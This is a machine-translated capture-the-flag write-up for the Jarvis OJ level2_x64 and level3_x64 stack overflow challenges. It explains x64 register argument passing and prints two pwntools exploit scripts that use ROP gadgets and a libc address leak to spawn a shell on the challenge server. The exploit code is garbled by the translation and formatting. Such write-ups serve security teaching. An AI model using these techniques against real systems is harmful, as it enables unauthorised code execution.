Two 64-bit stacks overflow, thinking and previous 32-bit overflow basically consistent, so put together
The main difference between the 32-bit and 64-bit in these two ways is the way in which function parameters are passed
In a 32-bit program run, function parameters are pressed directly into the stack
When the function is called, the structure of the stack is: Call function address, return address of function, parameter n-> parameter n-1-> --Parameter 1
In a 64-bit program run, the parameter pass requires a register
64-bit parameter passing convention: the first six parameters are stored sequentially in registers RDI, RSI, RDX, RCX, R8, R9
When the parameter exceeds six, it is pressed into the stack starting from the seventh
Level2_x64
Basic consistency with 32-bit LEVEL2 program logic
Whenever the system function is called to pass the parameter "/bin/sh", it is passed to the register.
Something New
You can use ropgadget to search for the ROP chain we need.
Ropgadget can look for strings or commands in the assembly Code of the program
The arrow refers to the pop rdi; RET is to eject the top element of the stack and register the Rdi,ret return stack.
You can use this type of statement to pass a function parameter to a register.
Exp:
#!usr/bin/env python#-*-coding:utf-8-*- fromPwnImport*io= Remote ("pwn2.jarvisoj.com", 9882) Elf= ELF ("./level2_x64") sys_addr= elf.symbols["system"]bin_addr= 0x600a90#using Ropgadget to obtainRdi_ret = 0x4006b3Payload="'Payload+='a'* 0x88Payload+=P64 (rdi_ret) payload+=P64 (BIN_ADDR) payload+=p64 (SYS_ADDR) io.recvline () io.sendline (payload) io.interactive () io.close ()
The results are as follows
Level3_x64
As with the previous one, the difference is only passed when the function is called
According to the parameter passing convention, the write function requires three parameters and requires a RDI,RSI,RDX of three registers, but no third register RDX is found
So we can skip the third argument first (read in length)
After writing the EXP can be debugged, see the value of the RDX before calling the function, if the RDX value >=8, then do not need to process,
Exp
#!usr/bin/env python#-*-coding:utf-8-*- fromPwnImport*Context.log_level='Debug'io= Remote ("pwn2.jarvisoj.com", 9883) Elf= ELF ("./level3_x64") Write_plt= elf.plt["Write"]write_got= elf.got["Write"]func= elf.symbols["vulnerable_function"]LIBC= ELF ("./libc-2.19.so") WRITE_LIBC= libc.symbols["Write"]SYS_LIBC= libc.symbols["system"]BIN_LIBC= Libc.search ("/bin/sh"). Next () Rdi_ret= 0x4006b3Rsi_ret= 0X4006B1Payload1='a'* 0x88Payload1+ = P64 (Rdi_ret) + P64 (1) # Rdipayload1+ = P64 (Rsi_ret) + p64 (write_got) + P64 (0xdeadbeef) #rsi and R15payload1+ = P64 (WRITE_PLT) +P64 (func) Io.recvline () io.sendline (payload1) write_addr= U64 (IO.RECV (8)) Sys_addr= WRITE_ADDR-WRITE_LIBC +sys_libcbin_addr= WRITE_ADDR-WRITE_LIBC +bin_libcpayload2='a'* 0x88payload2+ = P64 (Rdi_ret) +p64 (bin_addr) payload2+ = P64 (sys_addr) + P64 (0xdeadbeef) Io.recvline () io.sendline (payload2) io.interactive () io.close ()
Results:
For questions about insufficient registers in the program, leave a link http://m.blog.csdn.net/zsj2102/article/details/78560300
It's a clear story.
Spicy Chicken with small spectrum
Source: http://www.cnblogs.com/ZHijack/
If there is reproduced, the pleasure! Please mark the source;
Jarvis oj-[xman]level2/3_x64-writeup--64 bit simple stack Overflow